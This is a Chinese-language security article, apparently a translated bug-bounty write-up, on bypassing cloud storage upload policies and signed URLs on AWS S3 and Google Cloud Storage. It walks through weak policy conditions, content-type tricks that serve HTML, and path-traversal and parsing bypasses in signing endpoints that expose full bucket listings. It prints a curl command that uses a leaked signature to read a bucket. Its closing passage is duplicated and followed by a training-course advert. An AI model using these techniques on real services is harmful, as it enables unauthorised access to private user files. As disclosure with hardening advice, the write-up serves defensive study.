存储桶上传策略和签名 URL的绕过及利用

存储桶上传策略是一种直接从客户端将数据上传到存储桶的便捷方式。通过上传策略中的规则和与某些文件访问场景相关的逻辑，我们如何越权访问到完整的存储桶对象列表，同时能够修改或删除存储桶中的现有文件。

什么是存储桶策略？

（如果你已经知道什么是桶策略和签名 URL，你可以直接跳到下面的利用章节）

存储桶策略旨在将内容直接上传到基于云的存储桶存储（如 Google Cloud Storage 或 AWS
S3）的安全方式。管理者只需要创建一个定义允许和不允许的策略，然后使用密钥对策略进行签名，并将策略和签名提供给客户端，接着客户端可以直接将文件上传到存储桶，存储桶将验证上传的内容是否符合策略。如果符合，则文件将被上传。

上传策略与预签名 URL

在开始之前，我们需要明确一点，有多种方法可以访问存储桶中的对象。POST 策略 (AWS）和 POST 对象 (Google Cloud Storage)
方法只允许上传内容，使用 POST 请求到存储桶。

另一种称为预签名 URL (AWS) 或 签名 URL (Google Cloud Storage) 的方法不仅允许修改对象。根据预签名逻辑定义的 HTTP
方法，我们可以PUT、DELETE或GET对象，这些对象默认为私有。

与 POST 策略版本相比，预签名 URL 在定义内容类型、访问控制以及类似上传文件方面更为宽松。签名 URL
也更经常使用不完善的自定义逻辑来实现，如下所示：

还有更多允许某人访问上传内容的方法，一种 是类似于 POST 策略的AWS STS AssumeRoleWithWebIdentity
，不同之处在于您可以获取由预定义的 IAM 角色创建的临时安全凭证 (ASIA * )。

如何发现上传策略或签名URL?

这是使用 POST 的上传的请求包截图：
由上图可发现，该策略是一个
base64 编码的 JSON，如下所示：

{
  "expiration": "2018-07-31T13:55:50Z",
  "conditions": [
    {"bucket": "bucket-name"},
    ["starts-with", "$key", "acc123"],
    {"acl": "public-read"},
    {"success_action_redirect": "https://dashboard.example.com/"},
    ["starts-with", "$Content-Type", ""],
    ["content-length-range", 0, 524288]
  ]
}

AWS S3 上的签名 URL 如下所示：

https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

和谷歌云存储类似，如下所示：

https://storage.googleapis.com/uploads/images/test.png?Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&Signature=dlMA---

利用

现在到了有趣的地方啦！！！！！

我们需要定义一些不同的属性，来发现策略中的错误，以达到滥用上传策略的目的。

• Access=Yes – 如果我们可以在上传后以某种方式访问文件。如果在策略ACL 中定义 public-read 或通过能够接收上传文件的预签名 URL 来定义。默认情况下，在策略中未定义 ACL 的上传对象是私有的。

• Inline=Yes – 如果我们能够修改 content-disposition 文件的，那么我们可以在存储桶中内联地提供它。如果在策略中根本没有定义它，则文件是内联的。

1. starts-with $key 为空

["starts-with", "$key", ""]

这样配置不是很安全。我们现在能够上传到存储桶中的任何位置，并且能够覆盖任何对象。您可以将 key-property 设置为任何内容，并且该策略将被接受。

注意：
在某些情况下，这一点的可利用性仍然很困难，例如，存储桶仅用于上传名为
UUID（通用唯一标识符）的对象，这些对象从未公开或进一步使用。在这种情况下，我们不知道要覆盖哪些文件，也无法知道存储桶中其他对象的名称。

2. starts-with $key 不包含路径分隔符或对所有用户使用相同的路径。

["starts-with", "$key", "acc_1322342m3423"]

如果 $key策略的 -part 包含定义的部分，但没有路径分隔符，我们可以将内容直接放在存储桶的根目录中。如果 Access=Yes 并且
Inline=Yes 取决于 content-type ，我们可以通过安装 AppCache-manifest 来 窃取 其他用户上传的URL 来滥用它。

如果对象上传到的路径对所有用户都相同，则同样的问题也适用。

3. starts-with $Content-Type 为空

["starts-with", "$Content-Type", ""]

如果Access=Yes和Inline=Yes时，我们可以上传text/html。 如 #2 所示，我们可以使用它来运行 javascript
或在此路径上安装 AppCache-manifest，这意味着在此路径下访问的所有文件都将泄露给攻击者。

4. 内容类型定义使用 starts-with $Content-Type.

["starts-with", "$Content-Type", "image/jpeg"]

这实际上与 #3 相同，我们可以增加一些内容使得content-type成为一个未知的mime-type，然后加上text/html
，文件将被以text/html的形式存储，如下所示：

Content-type: image/jpegz;text/html

此外，如果 S3 存储桶托管在公司的子域上，通过滥用上述策略，我们还可以通过上传的 HTML 文件在域上运行恶意的javascript代码。

最有趣的部分是利用在沙盒域上上传内容的网站。

利用自定义逻辑对签名的URL进行利用

签名的URL是在服务器端签名并提供给客户端，以允许他们上传、修改或访问内容。最容易出现问题的情况是当网站建立自定义逻辑来检索它们。

要首先了解如何滥用签名 URL，重要的是要知道默认情况下，能够通过一个签名的GET-
URL到桶的根部，便可显示桶的文件列表。这就像使用一个公开的可列表的桶被曝光一样，不同的是，这个桶肯定包含其他用户的私人数据。

请记住，当我们知道存储桶中的其他文件时，我们也可以为它们请求以获取到签名的URL，此时将允许我们访问相关私有文件。

所以，我们的目标始终是尝试进入根目录或其他我们知道存在的文件。

对自定义逻辑绕过的姿势

下面是一些示例：发出签名的 GET-URL在不经意间暴露了存储桶的根路径。

1. 使用get-image-终端节点对完整的桶进行完全的读取访问。
   如下请求：

https://freehand.example.com/api/get-image?key=abc&document=xyz

提供以下签名URL：

https://prodapp.s3.amazonaws.com/documents/648475/images/abc?X-Amz-Algorithm=AWS4-HMAC-SHA256...

但是，终端节点在签署前对URL进行了规范化处理，故我们可通过使用目录穿越，探测桶的根目录。

https://freehand.example.com/api/get-image?key=../../../&document=xyz

和第一个链接进行对比，可以推测出与之对应的签名URL如下：

https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...

效果：这个 URL 给出了存储桶中每个文件的列表。

2. 对签名 URL 请求进行正则表达式解析，实现全读访问

这是另一个示例，向网站上的终端节点发出以下请求，以获取对应的签名URL：

POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1
Host: sectest.example.com

{"url":"https://example-bucket.s3.amazonaws.com/dir/file.png"}

上述请求将会解析URL并将它的一部分提取到签名的URL中，响应包如下：

{ “signedUrl” ：“https://s3.amazonaws.com/example-bucket/dir/file.png?X-Amz-Algorithm=AWS4-HMAC...” } 

可以使用s3.amazonaws.com上的子域和路径访问S3存储桶，在这种情况下，可以推测出服务器端的逻辑是：将URL更改为基于路径的存储桶URL的方式。

根据上述对URL的提取位置的分析，可以对其进行构造，如下所示：

{"url":"https://.x./example-bucket"}

此时返回带签名的URL如下，该URL将显示存储桶的完整文件列表：

{ "signedURL" : "https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC..." }

浅浅解析一下：根据提取规律：会提取请求包URL中的http:// 后的一位，此时我们构造的URL中为空，进行拼接后，便会出现//example-
beta?X-Amz-Algorithm=AWS4-HMAC…的情况啦~

3. 滥用临时签名 URL 链接

这个例子来自两年前，我发现的第一个与签名URL相关的问题。

在网站上，当上传文件时，你首先在secure.example.com上创建一个随机密钥。

POST /api/s3_file/ HTTP/1.1
Host: secure.example.com

{"id":null,"random_key":"abc-123-def-456-ghi-789","s3_key":"/file.jpg","uploader_id":71957,"employee_id":null}

响应包如下：

HTTP/1.1 201 CREATED

{"employee_id":null, "s3_key": "/file.jpg", "uploader_id": 71957, "random_key":"abc-123-def-456-ghi-789", "id": null}

对应生成的URL为：

https://secure.example.com/files/abc-123-def-456-ghi-789

将会跳转到如下链接：

Location: https://example.s3.amazonaws.com/file.jpg?Signature=i0YZ...

测试时，可以尝试在原请求包上修改s3_key，如下所示：

“random_key” ：“xx1234” ，“s3_key” ：“/”

此时对应生成的URL为：

https://secure.example.com/files/xx1234

同理，将重定向到如下链接：

Location: https://example.s3.amazonaws.com/?Signature=i0YZ...

我现在有了他们存储桶的文件列表。该网站使用一个存储桶存储所有数据，其中包含他们拥有的每个文档和文件。当我尝试提取文件列表以显示公司时，存储桶非常庞大，数以百万计的文件。我直接将错误发送给了公司，他们很快进行了响应：

安全存储相关建议

应该为每个文件上传请求或至少为每个用户专门生成一个上传策略。

• $key 应该完全定义，具有唯一的、随机生成的名称并在随机生成的路径内。

• content-disposition 最好定义 attachment为。

• acl 最好是 private 或根本不定义。

• content-type 应该明确设置（不使用 starts-with）或根本不设置。

而且，创建签名 URL 永远不应该基于用户的参数，正如您在上面看到的那样，这很大概率存在漏洞。

末尾小彩蛋

我见过的最糟糕的情况是：

https://secure.example.com/api/file_upload_policies/multipart_signature?to_sign=GET%0A%0A%0A%0Ax-amz-date%3AFri%2C%2009%20Mar%202018%2000%3A11%3A28%20GMT%0A%2Fbucket-name%2F&datetime=Fri,%2009%20Mar%202018%2000:11:28%20GMT

当按照要求发送请求时，响应包返回的签名是可以用于请求一切资源的签名。

0zfAa9zIBlXH76rTitXXXuhEyJI=

此时便可以为所欲为，用如下方式去获取你想要请求的一切资源

curl -H "Authorization: AWS AKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date: Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/

本文首发于火线Zone：https://zone.huoxian.cn/d/1262-url

作者：樱宁

a9zIBlXH76rTitXXXuhEyJI=

此时便可以为所欲为，用如下方式去获取你想要请求的一切资源

curl -H "Authorization: AWS AKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date: Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/

本文首发于火线Zone：https://zone.huoxian.cn/d/1262-url

作者：樱宁

接下来我将给各位同学划分一张学习计划表！

学习计划

那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：

阶段一：初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？

阶段二：中级or高级网络安全工程师（看自己能力）

综合薪资区间15k~30k

7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。

零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；

Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三：顶级网络安全工程师

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

学习资料分享

当然，只给予计划不给予学习资料的行为无异于耍流氓，这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包，可点击下方二维码链接领取哦。